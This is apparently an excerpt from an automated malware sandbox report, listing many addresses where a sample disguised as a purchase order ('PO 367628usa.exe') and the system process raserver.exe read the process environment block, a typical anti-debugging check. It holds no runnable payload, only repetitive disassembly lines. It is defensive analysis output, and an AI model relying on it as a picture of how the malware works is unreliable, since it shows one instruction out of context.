Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FBC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FA44B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01947794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01947794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01947794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D8794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019037F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FA70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FA70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EF716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FE730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DEF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DFF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01998F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019446A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01990EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01990EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01990EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F36CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01998ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0197FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01908EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F16E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D76E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F8E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981608 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FA61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FA61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0197FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CE620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D766D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C914FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C56DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C88DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BED5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BED5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C035A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C01DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C01DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C01DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C13D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C53540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C83D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDAD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF7D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C5A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C04D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C04D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C04D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C18EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C8FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C036CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C016E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE76E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C546A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDE620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C08E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C8FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE8794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C137F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C57794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C57794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C57794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFF716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEFF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEEF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C6B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C53884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C53884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD58EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C190AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C92073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C57016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C57016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C57016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C641E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BFC182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDB1E1 mov eax, dword ptr fs:[00000030h]
